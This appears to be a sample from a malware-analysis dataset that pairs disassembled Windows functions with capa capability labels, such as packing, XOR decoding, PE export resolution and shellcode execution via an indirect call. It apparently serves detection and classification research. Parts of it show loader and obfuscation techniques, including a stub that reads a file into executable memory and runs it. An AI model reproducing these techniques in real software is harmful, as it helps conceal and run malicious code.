joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402354
Capabilities:
Packed with generic packer

Disassembly:
cmp dword [0x4bc568], 0
jne 0x402362
call fcn.004051ea
push esi
mov esi, dword [0x4bc574]
mov al, byte [esi]
cmp al, 0x22
jne 0x402394
mov al, byte [esi + 1]
inc esi
cmp al, 0x22
je 0x40238c
test al, al
je 0x40238c
movzx eax, al
push eax
jmp 0x4c740f
cmp byte [esi], 0x22
jne 0x40239e
inc esi
jmp 0x40239e
cmp al, 0x20
jbe 0x40239e
inc esi
cmp byte [esi], 0x20
ja 0x402398
mov al, byte [esi]
test al, al
je 0x4023a8
cmp al, 0x20
jbe 0x402391
mov eax, esi
pop esi
ret

Function at 0x40298f
Capabilities:
Packed with generic packer

Disassembly:
xor eax, eax
push 0
cmp dword [esp + 8], eax
push 0x1000
sete al
push eax
call dword [sym.imp.KERNEL32.dll_HeapCreate]
test eax, eax
mov dword [0x4bc440], eax
je 0x4029c4
jmp loc.004c7298
xor eax, eax
ret

Function at 0x402bd5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4bb620
cmp edx, dword [eax]
je 0x402bf7
add eax, 8
inc ecx
cmp eax, 0x4bb6b0
jl 0x402be8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4bb620]
jne 0x402d25
mov eax, dword [0x4bc014]
cmp eax, 1
je 0x402cff
test eax, eax
jne 0x402c28
cmp dword [0x4bb4e8], 1
je 0x402cff
cmp edx, 0xfc
je 0x402d25
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402c5f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403870
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403ea0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402ca2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403ea0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4a0c94
push edi
call fcn.00405290
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403870
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403880
lea eax, [ebp - 0xa0]
push 0x4a0c74
push eax
call fcn.00403880
push dword [esi + 0x4bb624]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403880
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405206
add esp, 0x2c
pop edi
jmp 0x402d25
lea eax, [ebp + 8]
lea esi, [esi + 0x4bb624]
push 0
push eax
push dword [esi]
call fcn.00403ea0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40310a
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
movzx ecx, word [eax]
mov eax, dword [esi]
push edi
dec eax
mov dword [ebp + 0x10], ecx
je 0x40314f
dec eax
je 0x40314b
dec eax
je 0x403147
dec eax
je 0x403143
dec eax
je 0x40314f
dec eax
dec eax
je 0x40313b
dec eax
jne 0x4031a5
push 0x10
jmp 0x403151
mov dword [esi], 1
jmp 0x4031a5
push 0x12
jmp 0x403151
push 0x11
jmp 0x403151
push 4
jmp 0x403151
push 8
pop ebx
lea edi, [esi + 0x18]
push ecx
push edi
push ebx
jmp 0x4c73bf
push 0xffff
push dword [ebp + 0x10]
call fcn.004067cb
cmp dword [esi], 8
pop ecx
pop ecx
je 0x4031cd
cmp dword [0x4bbce8], 0
jne 0x4031cd
push esi
call fcn.004067ab
test eax, eax
pop ecx
jne 0x4031d5
push dword [esi]
call fcn.00406785
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403480
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [esp + 8]
push esi
push 0x20
cdq
pop ecx
idiv ecx
push 0x1f
mov esi, eax
mov eax, dword [esp + 0x10]
cdq
idiv ecx
pop ecx
mov eax, dword [esp + 8]
sub ecx, edx
or edx, 0xffffffff
shl edx, cl
not edx
test dword [eax + esi*4], edx
jne 0x4034c5
inc esi
cmp esi, 3
jge 0x4034c0
lea eax, [eax + esi*4]
cmp dword [eax], 0
jne 0x4034c5
inc esi
jmp loc.004c787c
push 1
pop eax
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x403ea0
Capabilities:
Packed with generic packer

Disassembly:
mov ecx, dword [esp + 4]
test ecx, 3
je fcn.00403ec0
mov al, byte [ecx]
inc ecx
test al, al
je 0x403ef3
test ecx, 3
jne 0x403eac
jmp loc.004c7970

Function at 0x404788
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov edx, edi
lea esi, [eax + 0x17]
sub edx, dword [ecx + 0xc]
mov eax, dword [ecx + 0x10]
and esi, 0xfffffff0
shr edx, 0xf
mov ecx, edx
imul ecx, ecx, 0x204
jmp loc.004c7ab9

Function at 0x4c78fa
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
and eax, 0xbfffffff
cmp ax, 6
add esp, 0xc
leave
popal
popfd
jmp fcn.00405538
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6a
nop
sub eax, 0x403d10
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp int.00401219

Function at 0x43b669
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
sub esp, 4
mov dword [esp], 0x591a47da
pop edx
mov edx, 0xa43ff2f1
dec ecx
call fcn.0043b6a8
mov edx, ecx
add ecx, edx
xor dword [eax], esi
mov edx, 0x3084ba94
sub ecx, 0xba594990
inc eax
or ecx, ecx
cmp eax, ebx
jne fcn.0043b669
mov ecx, 0x7dc4f510
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43e004]
jne 0x40100a
repz ret
jmp fcn.004018f4

Function at 0x406768
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004025e7
and dword [ebp - 4], 0
cmp dword [0x43fd5c], 0
mov ebx, eax
jne 0x406819
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4068ca
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4068ca
push eax
call fcn.00402575
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43fd5c], eax
call esi
push eax
call fcn.00402575
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43fd60], eax
call esi
push eax
call fcn.00402575
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43fd64], eax
call esi
push eax
call fcn.00402575
pop ecx
mov dword [0x43fd6c], eax
test eax, eax
je 0x406819
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402575
pop ecx
mov dword [0x43fd68], eax
mov eax, dword [0x43fd68]
cmp eax, ebx
je 0x406871
cmp dword [0x43fd6c], ebx
je 0x406871
push eax
call fcn.004025f0
push dword [0x43fd6c]
mov esi, eax
call fcn.004025f0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406871
test edi, edi
je 0x406871
call esi
test eax, eax
je 0x406868
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406868
test byte [ebp - 0xc], 1
jne 0x406871
or dword [ebp + 0x10], 0x200000
jmp 0x4068aa
mov eax, dword [0x43fd60]
cmp eax, ebx
je 0x4068aa
push eax
call fcn.004025f0
pop ecx
test eax, eax
je 0x4068aa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4068aa
mov eax, dword [0x43fd64]
cmp eax, ebx
je 0x4068aa
push eax
call fcn.004025f0
pop ecx
test eax, eax
je 0x4068aa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43fd5c]
call fcn.004025f0
pop ecx
test eax, eax
je 0x4068ca
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4068cc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4384c0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
cmp edi, 0x19f
jne 0x4384db
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
test edi, edi
jle 0x438522
lea ecx, [esp + 8]
mov dword [esp], 5
mov dword [esp + 8], 0
call fcn.004384b0
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp], eax
sub dword [esp], 0x46
movsx eax, byte [edx + esi]
mov dword [esp + 4], eax
mov eax, dword [esp]
xor dword [esp + 4], eax
mov cl, byte [esp + 4]
mov byte [edx + esi], cl
inc edx
cmp edx, edi
jl 0x4384e1
cmp edi, 0x2d
jne 0x43853b
mov dword [0x2b3df70], 0xa62e7790
mov dword [0x2b3df74], 0xffffffff
add esp, 0xc
ret
Function at 0x69a5ce0a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
jmp 0x69a5cefc
jmp 0x69a5cfdd
jmp 0x69a5d0be
jmp 0x69a5d19f
jmp 0x69a5d280
jmp 0x69a5d361
jmp 0x69a5d442
jmp 0x69a5d523
jmp 0x69a5d604
jmp 0x69a5d6e5
jmp 0x69a5d7c6
jmp 0x69a5d8a7
jmp 0x69a5d988
jmp 0x69a5da69
jmp 0x69a5db4a
jmp 0x69a5dc2b
jmp 0x69a5dd0c
jmp 0x69a5dded
jmp 0x69a5dece
jmp 0x69a5dfaf
jmp 0x69a5e090
jmp 0x69a5e171
jmp 0x69a5e252
jmp 0x69a5e333
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
jmp 0x69a5e41a
jmp 0x69a5e4fb
jmp 0x69a5e5dc
jmp 0x69a5e6bd
jmp 0x69a5e79e
jmp 0x69a5e87f
jmp 0x69a5e960
jmp 0x69a5ea41
jmp 0x69a5eb22
jmp 0x69a5ec03
jmp 0x69a5ece4
jmp 0x69a5edc5
jmp 0x69a5eea6
jmp 0x69a5ef87
jmp 0x69a5f068
jmp 0x69a5f149
jmp 0x69a5f22a
jmp 0x69a5f30b
jmp 0x69a5f3ec
jmp 0x69a5f4cd
jmp 0x69a5f5ae
jmp 0x69a5f68f
jmp 0x69a5f770
jmp 0x69a5f851
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
jmp 0x69a5f94c
jmp 0x69a5fa2d
jmp 0x69a5fb0e
jmp 0x69a5fbef
jmp 0x69a5fcd0
jmp 0x69a5fdb1
jmp 0x69a5fe92
jmp 0x69a5ff73
jmp 0x69a60054
jmp 0x69a60135
jmp 0x69a60216
jmp 0x69a602f7
jmp 0x69a603d8
jmp 0x69a604b9
jmp 0x69a6059a
jmp 0x69a6067b
jmp 0x69a6075c
jmp 0x69a6083d
jmp 0x69a6091e
jmp 0x69a609ff
jmp 0x69a60ae0
jmp 0x69a60bc1
jmp 0x69a60ca2
jmp 0x69a60d83
mov eax, dword [ebp - 0x20]
add eax, 0x78
mov dword [ebp - 0x24], eax
jmp 0x69a60e6d
jmp 0x69a60f4e
jmp 0x69a6102f
jmp 0x69a61110
jmp 0x69a611f1
jmp 0x69a612d2
jmp 0x69a613b3
jmp 0x69a61494
jmp 0x69a61575
jmp 0x69a61656
jmp 0x69a61737
jmp 0x69a61818
jmp 0x69a618f9
jmp 0x69a619da
jmp 0x69a61abb
jmp 0x69a61b9c
jmp 0x69a61c7d
jmp 0x69a61d5e
jmp 0x69a61e3f
jmp 0x69a61f20
jmp 0x69a62001
jmp 0x69a620e2
jmp 0x69a621c3
jmp 0x69a622a4
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
jmp 0x69a6239e
jmp 0x69a6247f
jmp 0x69a62560
jmp 0x69a62641
jmp 0x69a62722
jmp 0x69a62803
jmp 0x69a628e4
jmp 0x69a629c5
jmp 0x69a62aa6
jmp 0x69a62b87
jmp 0x69a62c68
jmp 0x69a62d49
jmp 0x69a62e2a
jmp 0x69a62f0b
jmp 0x69a62fec
jmp 0x69a630cd
jmp 0x69a631ae
jmp 0x69a6328f
jmp 0x69a63370
jmp 0x69a63451
jmp 0x69a63532
jmp 0x69a63613
jmp 0x69a636f4
jmp 0x69a637d5
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x1c]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x2c], eax
jmp 0x69a638d0
jmp 0x69a639b1
jmp 0x69a63a92
jmp 0x69a63b73
jmp 0x69a63c54
jmp 0x69a63d35
jmp 0x69a63e16
jmp 0x69a63ef7
jmp 0x69a63fd8
Function at 0x100b85f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x100be4cc]
cmp dword [eax + 0x28], 0
jne 0x100b8608
xor eax, eax
jmp 0x100b8737
mov ecx, dword [0x100be43c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x100be430], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0x100be42c], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x10], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x100be430]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x100be42c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0x100be4b8]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x80000000
push 0x100bc680
push 0x100bc6d0
push 0x88
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x100be428], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.100b8530
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x100b85c0
mov edx, dword [0x100be4cc]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x100be434], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x100b8737
cmp dword [ebp - 0x38], 0x12
jne 0x100b872b
mov dword [0x100be444], 0
call fcn.100b8740
xor eax, eax
jmp 0x100b8737
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x100b86fc
mov esp, ebp
pop ebp
ret 4

Function at 0x100b9b00
Capabilities:
Read .ini file
Read and send data from client to server
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100ba69c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x100bc168
sub eax, eax
test esi, esi
je 0x100ba774
sub eax, 1
test ecx, ecx
je 0x100ba772
test esi, 3
je 0x100ba6da
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x100ba6bf
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x100ba759
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x100ba6e4
mov ecx, edx
test ecx, ecx
je 0x100ba772
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x100ba75f
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x100ba77c
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.100ba7ff
jae 0x100ba78a
xor ecx, ecx
call fcn.100ba7ff
jae 0x100ba7b9
xor eax, eax
call fcn.100ba7ff
jae 0x100ba7c9
mov bl, 2
inc ecx
mov al, 0x10
call fcn.100ba7ff
adc al, al
jae 0x100ba7ab
jne 0x100ba7f5
stosb byte es:[edi], al
jmp 0x100ba78d
call fcn.100ba80b
sub ecx, ebx
jne 0x100ba7d2
call fcn.100ba809
jmp 0x100ba7f1
lodsb al, byte [esi]
shr eax, 1
je 0x100ba81b
adc ecx, ecx
jmp 0x100ba7ee
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.100ba809
cmp eax, 0x7d00
jae 0x100ba7ee
cmp ah, 5
jae 0x100ba7ef
cmp eax, 0x7f
ja 0x100ba7f0
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x100ba78d
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x100bb14c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100be000]
jne 0x100bb156
repz ret
jmp fcn.100bb3fd
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x406c80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x4126a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x12c], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call sub.KERNEL32.dll_Process32First
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
jne 0x406ceb
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x124]
jmp 0x406d3f
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x130]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x406d30
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
jne 0x406d2e
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x124]
jmp 0x406d3f
jmp 0x406ceb
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408e17
mov esp, ebp
pop ebp
ret

Function at 0x409cc4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409d03
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409d03
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409d03
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409d03
cmp dword [ecx + 0x74], 0xe
jbe 0x409d03
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4067bf
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x4067e0
jl 0x4067d7
test edi, edi
jne 0x4067e0
xor eax, eax
xor edx, edx
jmp 0x4068a1
cmp dword [ebx + 0x38], 0
je 0x4067f5
push eax
push edi
push dword [ebp + 8]
call fcn.004068a7
jmp 0x4068a1
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40683c
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40683c
cmp eax, edi
jb 0x406816
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00408a10
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x406842
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x406896
mov ecx, ebx
call fcn.0040606c
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x406881
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040ca7a
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x406896
jmp 0x406854
test edx, edx
je 0x406896
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040ca7a
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc